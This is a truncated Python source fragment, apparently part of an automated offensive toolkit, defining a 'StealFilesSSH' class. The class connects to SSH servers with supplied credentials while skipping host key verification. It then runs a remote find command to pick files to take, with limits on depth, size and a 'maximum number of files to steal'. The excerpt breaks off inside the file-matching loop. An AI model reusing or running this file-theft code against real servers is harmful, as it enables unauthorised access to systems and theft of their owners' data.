Class to handle the process of stealing files from SSH servers.
| 25 | b_port = 22 |
| 26 | |
| 27 | class StealFilesSSH: |
| 28 | """ |
| 29 | Class to handle the process of stealing files from SSH servers. |
| 30 | """ |
| 31 | def __init__(self, shared_data): |
| 32 | try: |
| 33 | self.shared_data = shared_data |
| 34 | self.sftp_connected = False |
| 35 | self.stop_execution = False |
| 36 | self.b_parent_action = b_parent # Set the parent action attribute |
| 37 | self.file_tracker = FileTracker('ssh', self.shared_data.datadir) |
| 38 | logger.info("StealFilesSSH initialized") |
| 39 | except Exception as e: |
| 40 | logger.error(f"Error during initialization: {e}") |
| 41 | |
| 42 | def connect_ssh(self, ip, username, password): |
| 43 | """ |
| 44 | Establish an SSH connection. |
| 45 | """ |
| 46 | try: |
| 47 | ssh = paramiko.SSHClient() |
| 48 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
| 49 | ssh.connect(ip, username=username, password=password) |
| 50 | logger.info(f"Connected to {ip} via SSH with username {username}") |
| 51 | return ssh |
| 52 | except Exception as e: |
| 53 | logger.error(f"Error connecting to SSH on {ip} with username {username}: {e}") |
| 54 | raise |
| 55 | |
| 56 | def find_files(self, ssh, dir_path): |
| 57 | """ |
| 58 | Find files in the remote directory based on the configuration criteria. |
| 59 | Limited to specific depth and file size to avoid downloading entire directories. |
| 60 | """ |
| 61 | try: |
| 62 | # Limit search depth to avoid going too deep into directory structure |
| 63 | max_depth = 3 |
| 64 | max_file_size = 10 * 1024 * 1024 # 10MB limit per file |
| 65 | max_total_files = 50 # Maximum number of files to steal |
| 66 | |
| 67 | # Build a more targeted find command with size and depth limits |
| 68 | find_cmd = ( |
| 69 | f'find {dir_path} -maxdepth {max_depth} -type f ' |
| 70 | f'-size -{max_file_size}c 2>/dev/null | head -200' |
| 71 | ) |
| 72 | |
| 73 | logger.info(f"Searching for files in {dir_path} (max depth: {max_depth}, max size: {max_file_size/1024/1024}MB)") |
| 74 | stdin, stdout, stderr = ssh.exec_command(find_cmd) |
| 75 | files = stdout.read().decode().splitlines() |
| 76 | |
| 77 | matching_files = [] |
| 78 | ext_match_count = 0 |
| 79 | name_match_count = 0 |
| 80 | sample_matches = [] |
| 81 | sample_non_matches = [] |
| 82 | |
| 83 | for file in files: |
| 84 | if self.shared_data.orchestrator_should_exit: |